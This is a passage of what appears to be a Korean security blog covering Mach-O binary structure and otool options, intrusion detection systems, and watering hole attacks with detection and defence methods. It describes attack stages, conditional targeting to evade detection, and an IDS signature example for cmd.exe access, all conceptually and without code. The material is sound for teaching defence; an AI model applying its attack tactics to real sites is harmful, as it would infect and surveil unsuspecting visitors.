+----------------------+
| String Table (선택) |
+----------------------+

1. Mach Header

파일의 기본 정보를 담고 있습니다. 예:

CPU 아키텍처 (x86_64, arm64 등)
파일 타입 (실행파일, dylib, bundle 등)
load command 개수
32bit / 64bit 여부

struct mach_header_64 {
    uint32_t magic;          // 0xFEEDFACF (64비트), 0xFEEDFACE (32비트)
    cpu_type_t cputype;
    cpu_subtype_t cpusubtype;
    uint32_t filetype;
    uint32_t ncmds;
    uint32_t sizeofcmds;
    uint32_t flags;
    uint32_t reserved;       // only for 64-bit
};

2. Load Commands

Mach-O의 중앙 디렉터리 같은 개념입니다. 파일 안에 있는 세그먼트 정보, 심볼, 동적 라이브러리, Entry point 등 메타데이터를 정의합니다.

Load Command는 LC_*로 시작하는 다양한 타입이 있습니다.

예시:

LC_SEGMENT_64: 세그먼트를 정의함
LC_SYMTAB: 심볼 테이블 정보
LC_LOAD_DYLIB: 외부 .dylib 로딩 정보
LC_MAIN: main entry point (iOS/macOS에서)

3. Segment & Section

세그먼트(Segment)는 메모리에 매핑되는 논리적 블록이고, 섹션(Section)은 세그먼트 내에 존재하는 세부 블록입니다.

주요 세그먼트

세그먼트	설명
__TEXT	실행 코드, 상수, 문자열
__DATA	초기화된 전역 변수, HMAC 저장 가능
__LINKEDIT	심볼, 디버깅 정보 등
__PAGEZERO	NULL 포인터 방지용 (읽기/쓰기 불가 메모리)

주요 섹션

각 세그먼트는 여러 섹션을 포함합니다.

세그먼트섹션 이름설명

세그먼트	섹션	설명
__TEXT	__text	실제 코드
__TEXT	__cstring	문자열 상수
__DATA	__data	초기화된 데이터
__DATA	__bss	초기화되지 않은 데이터 (런타임에 0으로 초기화됨)

4. Symbol Table (옵션)

심볼 테이블은 함수명, 전역변수명 등 심볼의 이름과 주소를 연결합니다. nm, objdump 같은 도구로 분석 가능.

5. String Table (옵션)

심볼의 이름 등 문자열 정보가 여기에 저장됩니다.

mach-o 파일 구조 분석 도구 otool

otool은 macOS에서 Mach-O 파일을 분석하는 명령어입니다.
리눅스의 objdump, readelf, nm과 유사하게, 바이너리의 구조, 섹션, 심볼, 라이브러리 종속성 등을 확인할 수 있습니다.

$otool -l mylib.dylib

출력 예시:

Load command 0
      cmd LC_SEGMENT_64
  cmdsize 712
  segname __TEXT
   vmaddr 0x0000000100000000
   ...
   Section
     sectname __text
     segname  __TEXT
     addr     0x100000f60
     size     0x0000001c0

옵션	설명
-h	Mach-O 헤더 출력
-l	Load Commands 출력
-L	연결된 외부 .dylib 목록 (LC_LOAD_DYLIB)
-t	__TEXT, __text 섹션의 기계어 출력 (디스어셈블링 없이)
-v	기계어를 가독성 있게 출력
-V	기계어를 AT&T 어셈블리로 디스어셈블
-s <segment> <section>	특정 세그먼트/섹션의 헥사 값 출력
-S	모든 섹션의 내용을 출력
-r	재배치 정보 (relocation entries) 출력
-M	Objective-C 메서드 목록 출력
-I	indirect symbol table 출력
-dyld_info	dyld 정보 출력 (lazy symbol, bindings 등)

침입탐지시스템(IDS) 개요

defcon — Wed, 23 Apr 2025 12:27:37 +0900

침입탐지시스템(IDS)

침입탐지시스템(IDS, Intrusion Detection System)은 네트워크와 시스템의 보안을 강화하기 위해 설계된 중요한 보안 기술입니다. 2025년 현재, IDS는 사이버 보안 환경에서 필수적인 역할을 하며, 증가하는 위협에 대응하기 위해 지속적으로 발전하고 있습니다. 아래에서는 IDS의 정의, 작동 원리, 유형, 최근 동향, 그리고 관련 기술적 세부 사항을 상세히 다룹니다.

IDS의 정의와 역할

IDS는 네트워크 트래픽이나 시스템 활동을 실시간으로 모니터링하여, 의심스러운 활동이나 정책 위반을 탐지하고 이를 관리자 또는 보안 팀에 보고합니다. 이는 전통적인 방화벽이 감지할 수 없는 다양한 유형의 악의적인 활동을 식별할 수 있어, 네트워크와 시스템 보안에 필수적인 역할을 합니다. 예를 들어, 네트워크 공격(취약한 서비스 대상), 데이터 처리 공격(data driven attack), 권한 상승(privilege escalation), 침입자 로그인, 주요 파일 접근, 악성 소프트웨어(컴퓨터 바이러스, 트로이목마, 웜)와 같은 호스트 기반 공격을 포함합니다.

위키백과에 따르면, IDS는 시스템에 대한 원치 않는 조작을 탐지하며, 이는 숙련된 해커나 자동화된 도구에 의한 공격 형태로 나타날 수 있습니다. 주니퍼 네트웍스는 IDS가 알려진 공격 패턴과 악의적인 행동을 기반으로 위협을 탐지하며, 공격자가 사용하는 회피 기술(예: RPC 단편화, HTML 패딩)도 탐지할 수 있다고 설명합니다.

IDS의 작동 원리

IDS는 여러 구성 요소와 방법론으로 작동합니다. 주요 구성 요소는 다음과 같습니다:

센서: 보안 이벤트를 생성하여 잠재적인 위협을 포착합니다.
콘솔: 센서를 모니터링하고 제어하거나 경보를 보냅니다.
중앙 엔진: 이벤트를 로깅하거나 시스템 규칙에 따라 경보를 생성합니다.

탐지 방법은 두 가지 주요 유형으로 나뉩니다:

Misuse Detection (시그니처 기반): 알려진 공격 패턴을 데이터베이스와 비교하여 탐지합니다. 예를 들어, HTTP GET 요청을 통해 'cmd.exe'에 접근하려는 시도를 식별할 수 있습니다.
Anomaly Detection (이상 탐지): 정상적인 네트워크 또는 호스트 행동에서 벗어나는 패턴을 학습을 통해 식별합니다. 이는 트래픽 부하, 프로토콜, 패킷 크기 등의 기준을 사용하며, 자가 학습을 통해 기준을 설정합니다.

응답 방식은 다음과 같이 나뉩니다:

패시브: 잠재적인 보안 위반을 로깅하고 경보를 보냅니다.
리액티브: 자동으로 또는 운영자 개입을 통해 대응합니다. 예를 들어, 사용자를 로그오프시키거나 방화벽을 재설정하여 의심스러운 트래픽을 차단할 수 있습니다.

Palo Alto Networks는 IDS가 청취 전용 디바이스로, 트래픽을 모니터링하고 결과를 보고하지만, 시스템을 장악하려는 익스플로잇을 자동으로 차단하지는 않는다고 설명합니다. 이는 IDS와 IPS(침입 방지 시스템)의 주요 차이점 중 하나입니다.

IDS의 유형

IDS는 배치 위치와 감지 대상에 따라 여러 유형으로 나뉩니다:

네트워크 기반 IDS (NIDS): 네트워크의 특정 지점(예: DMZ)에 배치된 센서가 모든 네트워크 트래픽을 캡처하고 분석하여 악의적인 내용을 탐지합니다. 대부분의 NIDS는 네트워크 인터페이스 카드가 2개 이상으로 구현되며, 패킷 캡처를 위한 카드는 IP 주소를 가지지 않게 구성됩니다.
호스트 기반 IDS (HIDS): 개별 호스트에 설치된 소프트웨어 에이전트가 시스템 콜, 애플리케이션 로그, 파일 시스템 수정 등을 모니터링합니다. 다중 H-IDS와 구분하여 단일 호스트 기반 IDS라고도 부릅니다.
하이브리드 IDS: 네트워크 기반과 호스트 기반을 결합한 형태로, 예를 들어 Prelude와 같은 솔루션이 호스트 에이전트 데이터와 네트워크 정보를 통합합니다.

IT 위키는 NIDS가 상태 추적 테이블을 만들어 단일 패킷이 아닌 뒤따르는 커넥션을 종합적으로 평가한다고 설명하며, 이는 이스라엘 보안업체 Checkpoint에서 최초로 개발한 기능으로 현재 대부분의 IDS에서 제공됩니다.

IDS와 IPS의 비교

IDS와 IPS는 보안에서 중요한 역할을 하지만, 기능적으로 차이가 있습니다. 아래 표는 두 시스템의 주요 차이를 요약합니다.

구분	IDS(침입 탐지 시스템)	IPS(침입 방지 시스템)
정의	네트워크 트래픽을 모니터링하여 침입 징후를 탐지	침입을 탐지하고, 이를 차단 (패킷 손실, 세션 종료)
운영 모드	청취 전용, 아웃 오브 밴드 모드, 모든 트래픽 분석	트래픽 경로에 내장, 모든 트래픽이 통과
기능성	알려진 공격 패턴과 행동 기반으로 위협 탐지, 보고	탐지 후 트래픽 차단 가능, 세션 종료 등 적극적 대응
DDoS 보호	DDoS 공격 방지 불가	특정 유형(AppDoS) 방지 가능 대규모 DDoS는 별도 솔루션 필요

IBM은 IDS가 자체적으로 보안 위협을 차단할 수 없으며, 종종 IPS와 통합되어 사용된다고 설명합니다. 반면, IPS는 IDS의 탐지 기능에 자동화된 위협 방지 기능을 추가하여, 보안 팀의 워크로드를 줄이고 복잡한 위협에 집중할 수 있도록 돕습니다.

2025년 IDS의 최근 동향

2025년 현재, IDS 시장은 지속적인 성장을 보이고 있으며, 시장 규모는 2018년 약 30억 달러에서 2025년 약 80억 달러로 성장할 것으로 예상됩니다. 이 성장은 사이버 공격의 증가와 보안 요구 사항의 높아짐에 따른 것으로, 특히 네트워크 기반 IDS(NIDS)가 글로벌 시장에서 20% 이상의 점유율을 차지하고 있습니다.

최근 동향으로는 다음과 같은 기술적 발전이 있습니다:

AI 및 머신러닝 통합: 이상 탐지를 위한 더 정확한 행동 분석과 자동화된 위협 대응. 예를 들어, Cloudnuro.ai는 현대 IDPS 솔루션이 AI와 ML을 활용하여 실시간 모니터링과 위협 탐지를 강화한다고 설명합니다.
무선 IDS: 무선 네트워크를 포함한 보안 강화, 특히 스마트 빌딩과 IoT 환경에서 중요.
통합 및 자동화: 다른 보안 시스템(예: SIEM, 방화벽)과의 원활한 연동, 예를 들어 Juniper Networks의 솔루션이 SRX 시리즈 방화벽에 IDS/IPS를 통합

실용적 고려사항

IDS는 엔드포인트에 설치된 소프트웨어 애플리케이션이나 네트워크에 연결된 전용 하드웨어 디바이스로 구현될 수 있으며, 일부는 클라우드 서비스로 제공됩니다. 예를 들어, Atomic OSSEC은 다양한 규모의 팀에 적합한 솔루션으로 평가받으며, Trellix IPS는 핵심 및 고급 기능을 제공합니다.

또한, IDS는 PCI-DSS와 같은 규정 준수 요구 사항을 충족하는 데 도움을 줄 수 있으며, 보안 운영 센터(SOC)의 효율성을 높이는 데 기여합니다. 그러나 대규모 DDoS 공격에는 전용 솔루션(예: Juniper의 Corero DDoS)이 필요할 수 있습니다.

워터링 홀 공격 기법의 개념

defcon — Tue, 22 Apr 2025 22:39:05 +0900

워터링 홀(Watering Hole) 공격

워터링 홀 공격의 정의

워터링 홀 공격은 공격 대상이 자주 방문하는 웹사이트를 노려서 해당 사이트에 악성 코드를 심어 놓고, 피해자가 그 사이트를 방문할 때 악성 코드에 감염되도록 하는 사이버 공격 기법입니다. 쉽게 말해, 사자가 먹이가 되는 동물들이 모이는 물 웅덩이(watering hole) 근처에서 매복했다가 사냥하듯이, 해커가 특정 그룹(회사나 기관의 직원들 등)이 자주 드나드는 웹사이트를 미리 감염시켜 놓고 표적을 기다리는 것입니다. 이 공격의 이름도 이러한 동물들의 물 웅덩이 사냥 방식에서 유래했습니다. 워터링 홀 공격은 사용자가 신뢰하는 정상 웹사이트를 매개로 이루어지기 때문에 쉽게 의심받지 않고, 보안 솔루션에도 탐지되기 어려운 점이 큰 특징입니다.

작동 방식: 주요 단계

워터링 홀 공격은 대개 다음과 같은 단계로 정교하게 진행됩니다:

정보 수집 (Intelligence Gathering): 공격자는 우선 표적 사용자들이 어떤 웹사이트를 자주 방문하는지 파악합니다. 검색 엔진, 소셜 미디어, 업계 정보, 사회공학 기법 등을 활용하여 목표 그룹의 웹 활동 패턴을 조사합니다. 이를 통해 표적 그룹이 자주 찾는 웹사이트 목록을 확보하게 됩니다.
취약점 분석 및 사이트 감염 (Analysis & Compromise): 다음으로 공격자는 선정된 웹사이트들의 보안 취약점을 분석합니다. 사이트의 소프트웨어나 플러그인에 알려진 취약점이 있는지 찾거나, SQL 인젝션이나 크로스사이트 스크립팅(XSS) 같은 기법을 이용해 웹사이트를 해킹합니다. 경우에 따라 해커는 아예 해당 사이트와 똑같이 생긴 악성 복제 사이트를 만들어놓고, 정상 사이트를 방문한 사용자를 그쪽으로 몰래 리디렉션시키는 방법도 씁니다. 이렇게 해서 공격자는 대상 웹사이트를 자기 마음대로 조작할 수 있게 만듭니다.
악성 코드 심기 (Preparation): 웹사이트를 장악한 공격자는 그 사이트에 악성 코드(멀웨어)를 심어 둡니다. 구체적으로는 웹 페이지 내에 악성 스크립트나 익스플로잇 코드를 삽입해 놓아, 추후 방문자가 자동으로 악성 프로그램을 다운로드하거나 실행하도록 만듭니다. 예를 들어, 공격자는 사이트에 드라이브-바이 다운로드(사용자가 모르게 악성 파일이 내려받아지는 방식) 공격 코드를 넣어 둘 수 있습니다. 특히 정교한 공격의 경우 악성 코드가 오직 특정 조건(예: 특정 IP 주소 대역이나 특정 국가의 사용자)에서만 작동하도록 설정하기도 합니다. 이를 통해 목표 대상 이외의 다른 방문자들에게는 악성 코드가 전달되지 않게 함으로써 보안 탐지를 피합니다.
공격 실행 (Execution): 이제 워터링 홀이 완성되었으므로, 공격자는 표적 사용자가 해당 웹사이트를 방문하기를 기다립니다. 일상적으로 사이트를 이용하던 피해자가 이 감염된 페이지에 접속하면, 앞서 심어둔 악성 코드가 실행되어 피해자의 PC나 디바이스에 악성 프로그램이 설치됩니다. 사용자는 평소처럼 신뢰하던 사이트를 접속했을 뿐이므로 감염 사실을 알아채기 어렵고 공격자는 피해자의 시스템을 장악하거나 데이터를 유출하게 됩니다. 이처럼 최종적으로 공격자는 목표 대상 컴퓨터에 대한 접근 권한을 얻거나, 추가 악성코드를 심어 2차 공격(예: 내부망 침투)을 수행하게 됩니다.

공격자의 일반적인 전략

워터링 홀 공격을 수행하는 공격자들은 다양한 해킹 기법과 전략을 활용하여 성공률을 높입니다. 대표적인 수법들은 다음과 같습니다:

웹 취약점 악용: 공격자는 목표 웹사이트를 해킹하기 위해 XSS나 SQL 인젝션 등의 코드 주입 공격을 사용합니다. 이를 통해 웹사이트의 콘텐츠에 몰래 악성 스크립트를 삽입하거나, 데이터베이스를 조작하여 사용자를 악성 페이지로 리디렉션합니다.
DNS 스푸핑: 웹사이트 자체를 해킹하지 않고도, DNS 캐시 포이즈닝(DNS spoofing) 기법으로 사용자를 가짜 사이트로 유도할 수 있습니다. 이는 인터넷 주소 변조를 통해, 원래 사이트 주소로 접속한 사용자가 공격자가 준비한 악성 서버로 향하게 만드는 방법입니다.
멀버타이징(Malvertising): 공격자는 합법적인 광고 네트워크를 악용하여 악성 광고를 목표 웹사이트에 게재할 수도 있습니다. 사용자들은 평소처럼 사이트의 배너 광고를 볼 뿐이지만, 그 광고에 포함된 악성 코드로 인해 감염이 이루어질 수 있습니다.
드라이브-바이 다운로드: 앞서 언급한 대로 드라이브-바이 다운로드 방식으로, 사용자가 별다른 클릭이나 다운로드 동작을 하지 않아도 방문만으로 악성 코드가 내려받아져 실행되도록 합니다. 주로 웹 브라우저나 플러그인의 취약점을 악용한 스크립트를 통해 이루어집니다.
제로데이 취약점 활용: 특히 지능형 지속 위협(APT) 형태의 공격에서는, 당시엔 패치되지 않은 제로데이 취약점을 이용하는 경우가 많습니다. 공격 대상자들이 운영체제나 브라우저를 최신 보안 상태로 유지하고 있어도 새로운 취약점을 노린 공격에는 속수무책이기 때문에, 미공개 취약점을 통해 웹사이트를 감염시키거나 방문자를 해킹하는 것입니다. 이러한 맞춤형 공격 코드는 매우 정교하게 제작되므로 백신 등의 탐지를 더욱 어렵게 만듭니다.
조건부 공격 및 은폐: 워터링 홀 공격자는 공격 범위를 제한함으로써 자신의 존재를 숨기는 전략을 씁니다. 예를 들어 앞서 언급한 2012년 CFR 웹사이트 사례에서는, 악성코드가 오직 특정 언어 설정의 인터넷 익스플로러(IE) 사용자에게만 실행되도록 프로그램되어 있었습니다. 이처럼 표적이 아닌 사람들에게는 악성코드가 발동하지 않게 하여, 공격이 광범위하게 드러나지 않도록 통제합니다. 또한 일부 공격자는 표적이 해당 웹사이트에 반드시 방문하도록, 미리 피싱 이메일 등을 보내 사이트 방문을 유도하는 사회공학적 책략을 추가로 사용하기도 합니다.

이러한 전략들의 공통점은 신뢰받는 경로를 악용하여 은밀하게 악성행위를 한다는 것입니다. 워터링 홀로 선택된 웹사이트는 평소 사람들이 믿고 방문하는 곳이기 때문에, 공격자는 그 신뢰를 악용하여 별다른 의심 없이 피해자를 공격할 수 있습니다. 동시에 공격 대상 시스템의 보안을 정면으로 뚫는 대신 우회 경로를 이용하므로, 보안 관리자 입장에서도 공격 징후를 포착하기 어렵게 만듭니다.

주요 대상 및 공격 사례

워터링 홀 공격은 특정 집단이나 조직을 노릴 때 효과적이기 때문에, 주로 고가치 표적을 대상으로 발생하는 경향이 있습니다. 국가 지원 해커 조직이나 APT 그룹은 정부 기관, 국방 산업, 언론 및 인권단체, 소수민족 단체 등 특정 분야에 종사하는 사람들을 감시하거나 피해를 입히기 위해 이 수법을 활용해 왔습니다. 기업 사이버 범죄자들도 경쟁 기업이나 금융 기관의 직원들이 모이는 웹 커뮤니티, 업계 포털 사이트 등을 노려 정보를 탈취하거나 악성코드를 심는 공격을 시도한 사례가 있습니다. 아래에는 워터링 홀 기법이 사용된 몇 가지 실제 공격 사례를 소개합니다:

2012년 미국 CFR 웹사이트 감염: 2012년 말, 미국의 한 외교 정책 연구기관인 외교관계협의회(CFR) 웹사이트가 워터링 홀 공격에 이용되었습니다. 공격자는 이 사이트에 마이크로소프트 IE 브라우저의 제로데이 취약점을 악용한 악성코드를 심어두었고, 영어, 중국어, 한국어, 러시아어 등 일부 언어로 설정된 IE 브라우저 사용자에게만 악성 코드가 전달되도록 만들었습니다. 그 결과 해당 언어권의 방문자들만 표적이 되어 감염되었고, 이 사실은 사이트가 해킹되고 상당 시간이 지난 후에야 발견되었습니다.
2013년 미국 노동부 워터링 홀 공격: 2013년에는 미국 노동부(DOL) 공식 웹사이트가 해커들에게 악용된 사례가 있습니다. 공격자들은 노동부 사이트의 핵 관련 자료 페이지에 악성 코드를 심어 놓고, 그 페이지를 방문하는 사용자들의 정보를 탈취하려 했습니다. 이 공격으로 해당 페이지를 찾은 특정 방문자들의 시스템에 몰래 접근하여 정보를 수집하는 일이 벌어졌습니다.
2021년 홍콩 민주화 웹사이트 공격: 비교적 최근인 2021년, 구글 위협분석그룹(TAG)은 홍콩의 언론사 및 민주화 운동 관련 웹사이트 방문자들을 겨냥한 대규모 워터링 홀 공격을 적발했습니다. 해커들은 이 웹사이트들에 iOS 등 애플 기기 사용자를 표적으로 한 악성코드를 심어두었고, 그 사이트에 접속한 사람들의 아이폰 등에 백도어를 설치하여 민감 정보를 탈취하려 한 것으로 드러났습니다. 이처럼 워터링 홀 공격은 정치적으로 민감한 단체나 사회 운동가들을 감시하기 위한 수단으로도 활용되고 있습니다.

이 외에도 산업 제어 시스템(ICS) 소프트웨어의 업데이트 서버를 감염시켜 에너지·항공·방위산업 분야 기업들을 노린 사례, 폴란드 금융감독원 웹 서버 해킹을 통해 다수 은행들을 공격한 사례 등 다양한 워터링 홀 공격이 보고되어 있습니다. 최근 들어서도 특정 지역 정부 웹사이트를 해킹해 스파이웨어를 배포하거나, 신뢰받는 사이트에 사용자 실행을 유도하는 형태의 악성 파일을 올려두는 등 기법이 진화하고 있습니다. 즉, 워터링 홀 공격은 정부·기업부터 소프트웨어 공급망, 사회단체에 이르기까지 광범위한 분야를 표적으로 지속해서 활용되고 있는 고급 공격 기법입니다.

워터링 홀 공격 탐지 및 방어: 도구와 모니터링 기법

워터링 홀 공격(watering hole attack)은 공격자가 특정 대상 집단이 자주 방문하는 신뢰받는 웹사이트를 악성으로 감염시켜 사용자를 피해자로 만드는 전략적 공격 기법입니다 . 이러한 공격은 감염된 사이트를 방문한 사용자 단말기에 드라이브-바이 다운로드 등의 방법으로 악성코드를 설치하여, 결국 기업 내부망 침투에 악용됩니다 . 워터링 홀 공격은 정상적인 웹 트래픽으로 위장되어 오랜 기간 탐지되지 않고 지속될 수 있어 방어가 어렵습니다. 따라서 보안 전문가들은 다양한 다층적 탐지 기법과 도구를 조합하여 워터링 홀 공격을 모니터링하고 차단합니다. 본 보고서에서는 정적/동적 분석, 네트워크 기반 탐지(IDS/IPS), 행위 기반 탐지, 위협 인텔리전스 연계, 엔드포인트 보안의 역할을 살펴보고, 탐지 정확도를 높이고 오탐(false positive)을 줄이기 위한 전략을 상세히 설명합니다.

정적 분석 및 동적 분석 기법

정적 분석 (Static Analysis) 기법은 악성으로 의심되는 코드나 파일을 실행하지 않고 분석하는 방법으로, 서명(signature) 기반 검사와 코드 리뷰를 포함합니다. 예를 들어 안티바이러스나 웹 게이트웨이 솔루션은 알려진 악성코드의 디지털 서명이나 악성 평판 정보를 DB와 대조함으로써 위협을 식별합니다 . 또한 보안 분석가는 디스어셈블러/디버거를 활용한 역공학(reverse engineering)으로 악성 바이너리의 내부 동작을 추적하거나, 샘플에서 문자열 추출을 통해 내장된 명령어, 파일명, API 호출, URL 등 IOC(Indicators of Compromise)를 찾아낼 수 있습니다 . 정적 분석은 신속하고 안전하게 악성 패턴을 찾을 수 있으나, 이전에 알려지지 않은 악성코드나 난독화된 코드에 대해서는 한계가 있습니다 .

동적 분석 (Dynamic Analysis) 기법은 의심 파일이나 스크립트를 격리된 샌드박스 환경에서 실제 실행하여 동작을 관찰함으로써 악성 여부를 판단하는 방법입니다. 이는 정적 서명으로 탐지되지 않는 신종 또는 변종 악성코드도 행위 기반 분석으로 밝혀낼 수 있다는 장점이 있습니다 . 동적 분석 솔루션은 가상 머신이나 샌드박스를 이용해 악성코드가 실행될 때 시스템에 가하는 변화나 네트워크 활동 등을 모니터링합니다 . 예를 들어, 웹 사이트 동적 분석의 경우 프록시나 보안 웹 게이트웨이가 사용자가 방문하는 웹사이트의 스크립트 동작을 실시간으로 모니터링하여 워터링 홀 공격에 수반되는 악성 행동(예: 알려지지 않은 익스플로잇 시도, 의심 트래픽 발생)을 탐지하고 차단합니다 . 동적 분석은 높은 정확도를 제공하지만 시간이 걸리고 전문 도구가 필요하며, 가짜 환경을 인지하여 악성 행위를 숨기는 샌드박스 회피 기법에도 대비해야 합니다.

분석 방식	특징	장단점
정적 분석	파일/코드를 실행하지 않고 분석 서명(DB) 대조, 코드 리뷰, 역공학 등을 활용	빠르고 안전하나 새로운 위협탐지에는 한계 (서명 부재 시 탐지 어려움)
동적 분석	격리된 환경에서 코드 실행 후 행위 모니터링	신종 위협도 행위기반으로 탐지 가능(정밀) 다만 속도가 느리고 환경 우회 기법에 취약

네트워크 기반 탐지 도구 (IDS/IPS 등)

네트워크 기반 탐지는 워터링 홀 공격으로 인한 악성 트래픽을 네트워크 레벨에서 포착하고 차단하는 접근입니다. 대표적으로 IDS(침입 탐지 시스템)와 IPS(침입 방지 시스템)가 사용됩니다. IDS/IPS 장비는 들어오거나 나가는 트래픽의 패턴을 서명 기반으로 검사하고, 알려진 익스플로잇 시퀀스나 악성 페이로드를 식별하면 경보를 발생하거나 차단 조치를 수행합니다. 예를 들어, FireEye, Snort, Suricata 등의 IDS 규칙에는 워터링 홀에 흔히 쓰이는 웹 익스플로잇 키트나 악성 스크립트 패턴이 포함될 수 있습니다. 또한 이상 탐지 기능이 있는 IDS는 정상 트래픽 프로필과 비교하여 비정상적인 웹 트래픽 흐름을 탐지하기도 합니다 . 워터링 홀의 경우 사용자가 평소 방문하던 정상 사이트로 위장하므로 아웃바운드 트래픽 모니터링이 중요합니다. 조직 내부 사용자 PC가 평소 접속하지 않던 도메인이나 IP와 통신하거나, 방문 직후 대량의 데이터 업로드 등 이상 행위를 보인다면 네트워크 기반 탐지 도구가 이를 경보로 포착할 수 있습니다.

네트워크 계층 방어에는 IDS/IPS 외에도 웹 필터링(Web Filtering) 및 보안 프록시/게이트웨이 기술이 활용됩니다. 웹 필터링 솔루션은 정책에 따라 악성으로 의심되는 웹사이트 접근을 차단하고, 유해한 콘텐츠나 스크립트를 걸러냅니다 . 이는 워터링 홀로 의심되는 외부 사이트를 아예 열지 못하도록 선제 대응하는 장점이 있습니다. 예를 들어 Secure Web Gateway(SWG)는 알려진 피싱/멀웨어 사이트 목록(위협 인텔리전스 기반)과 URL 평판 정보를 바탕으로 사용자가 접속 시 실시간 차단해버립니다. 동시에, 첨부 파일이나 다운로드되는 실행 파일에 대해 네트워크 샌드박스를 적용하여 악성 행위가 확인되면 해당 객체를 격리함으로써 추가 감염을 막습니다. 이러한 다층적인 네트워크 모니터링으로 워터링 홀 공격의 초기 단계(악성 사이트 접속 및 페이로드 전송)를 효과적으로 탐지할 수 있습니다.

행위 기반 탐지 (Behavioral Analytics)

행위 기반 탐지는 사용자와 시스템의 정상 동작 패턴(베이스라인)을 먼저 학습한 뒤, 이와 벗어나는 이상 행동을 포착함으로써 보안 위협을 발견하는 기법입니다 . 이는 전통적인 서명 기반 탐지가 놓칠 수 있는 미확인 공격이나 내부 이상 행위까지 잡아낼 수 있다는 이점이 있습니다. 예를 들어, 워터링 홀 공격 이후 감염된 호스트는 평소와 다른 네트워크 행위(예: 생소한 C2 서버와의 통신, 평소 사용자가 하지 않던 관리자 권한 실행 등)를 보일 수 있는데, 행위 분석 시스템은 이러한 패턴 이상치에 경보를 발생시킵니다.

행위 기반 탐지는 UEBA(User and Entity Behavior Analytics) 기술로 구현되는 경우가 많으며, 네트워크 트래픽, 사용자 로그인 기록, 프로세스 실행 내역 등 다양한 데이터를 종합적으로 고려합니다 . 예를 들어 SIEM 연계 UEBA 시스템은 사용자 계정의 로그인 시도 횟수, 접속 위치 변화, 프로세스 생성 패턴 등을 분석해 이전에 없던 이상 활동을 탐지합니다. 이러한 접근 방식은 기존의 정상 패턴을 노이즈로 걸러내고 진짜 위험만 부각시켜 보안팀의 경보 피로(alert fatigue)를 줄여주는 효과가 있습니다 . 실제로 행위 분석을 도입하면 매 접속이나 이벤트마다 경보를 울리던 시스템이 실제 위험이 높은 시나리오에서만 경고를 발생시키므로, 오탐을 감소시키고 보안 인력은 중요한 알람에 집중할 수 있게 됩니다 . 다만, 행위 기반 탐지는 정교한 머신러닝 모델과 충분한 정상 행동 데이터가 뒷받침되어야 하며, 설정 초기에 튜닝 기간이 필요할 수 있습니다. 또한 조직의 환경 변화(예: 신규 시스템 도입, 사용자 업무 패턴 변경)에 따라 베이스라인을 지속 조정해야 정탐률을 유지할 수 있습니다.

위협 인텔리전스 연계

위협 인텔리전스(Threat Intelligence) 연계는 전세계적으로 수집된 최신 공격 정보와 IOC(Indicator of Compromise)를 내부 보안 모니터링에 통합하여 능동적인 탐지를 가능하게 합니다. 워터링 홀 공격은 종종 특정 APT 그룹이나 캠페인에 의해 수행되므로, 공유 정보를 활용하면 조기에 징후를 파악할 수 있습니다. 예를 들어, 외부 TI 피드로부터 제공받은 악성 도메인/IP 목록, 악성 스크립트 해시, 취약점 CVE 정보 등을 IDS, 프록시, SIEM 등에 연동해두면, 사용자가 해당 IOC와 일치하는 사이트에 접속하거나 유사 페이로드가 포착될 때 즉시 경보를 울릴 수 있습니다. 실제 모범 사례로는 SIEM이나 네트워크 모니터링 시스템에 TI 피드를 연계하여 수집된 로그와 트래픽을 알려진 위협 지표와 실시간 대조하는 것이 있습니다 . 이렇게 상관분석(correlation)을 하면 탐지 정확도가 향상되어 잠재적 위협 식별 시 보다 신뢰도 높은 경고를 생성할 수 있습니다 .

또한 위협 인텔리전스를 통해 최신 공격 동향과 TTP(전술, 기법, 절차)를 파악함으로써 워터링 홀에 악용되는 새로운 기법 (예: 새로운 브라우저 제로데이 익스플로잇 등)에 신속히 대비할 수 있습니다. 예를 들어 TI 리포트에서 특정 웹사이트가 워터링 홀에 당했다고 공유되면, 해당 URL을 프록시 차원에서 차단하거나 관련 IOC를 기반으로 위협 헌팅(threat hunting)을 수행해 사전 대응이 가능합니다. 더불어 STIX/TAXII와 같은 표준을 통해 CTI 플랫폼(MISP 등)에서 조직 간 위협 정보를 자동 공유하면, 한 곳에서 발견된 워터링 홀 공격 징후가 전체 생태계의 방어력을 높이는 데 기여합니다. 정리하면, 위협 인텔리전스 연계는 탐지 도구들의 눈과 귀를 넓혀주는 역할을 하며, 빠르게 진화하는 워터링 홀 공격에 대해 선제적이고 지능적인 탐지를 가능케 합니다.

엔드포인트 보안 솔루션의 역할

워터링 홀 공격으로 최종 피해를 입는 지점은 결국 엔드포인트(사용자 PC, 단말)입니다. 따라서 엔드포인트 보안 솔루션은 워터링 홀 공격 탐지/방어의 최후의 보루로서 매우 중요한 역할을 합니다. 엔드포인트 보안에는 전통적인 안티바이러스(AV)부터, 행위 기반의 EDR(Endpoint Detection and Response) 및 더 넓은 XDR(eXtended DR) 솔루션이 포함됩니다.

안티바이러스/안티멀웨어 솔루션은 워터링 홀을 통해 떨어진 악성 파일을 서명 기반으로 검사하여 알려진 멀웨어일 경우 즉시 격리하거나 삭제합니다. 또한 일부 차세대 AV는 머신러닝 모델로 파일 특성을 분석해 미확인 멀웨어도 탐지하려 합니다. 그러나 브라우저 익스플로잇처럼 파일 형태가 아닌 메모리 상의 공격에는 전통적 AV로는 한계가 있습니다.

EDR 솔루션은 실행 중인 프로세스와 시스템 동작을 실시간으로 모니터링하여, 악성 행위 징후를 보이는 프로세스를 탐지하고 대응합니다. 예를 들어 EDR은 워터링 홀 사이트 방문 직후 브라우저 프로세스가 이상한 스크립트를 실행한다거나, 자녀 프로세스로 권한 상승 시도를 하는 행위를 포착할 수 있습니다. 실제로 EDR은 메모리 상의 코드 인젝션, 레지스트리Persist 변경, 의심스러운 외부 연결 등 멀웨어 관련 이상행동을 감지하면 관리 콘솔에 즉시 경보를 올리고 자동 격리 등의 조치를 취합니다 . 이러한 행위 기반 탐지는 워터링 홀처럼 신뢰 프로세스(브라우저)를 통해 이뤄지는 공격에서도, 그 이후 단계의 악성 행위 (예: 시스템 파일 변조, 백도어 설치)를 식별해 피해 확산을 막습니다.

엔드포인트 보안 솔루션은 또한 포렌식 데이터 수집 및 대응 자동화 측면에서도 중요한데, 워터링 홀 공격 탐지 시 해당 단말기의 프로세스 트리, 네트워크 로그, 파일 해시 등의 정보를 EDR이 저장하여 사고 조사에 활용할 수 있습니다. 더불어 EDR/XDR은 중앙관리를 통해 네트워크 상의 다른 엔드포인트들까지 일괄 검색하여 비슷한 IOC가 있는지 확인하고, 필요하면 해당 단말들도 격리하는 확산 방지 조치를 취합니다.

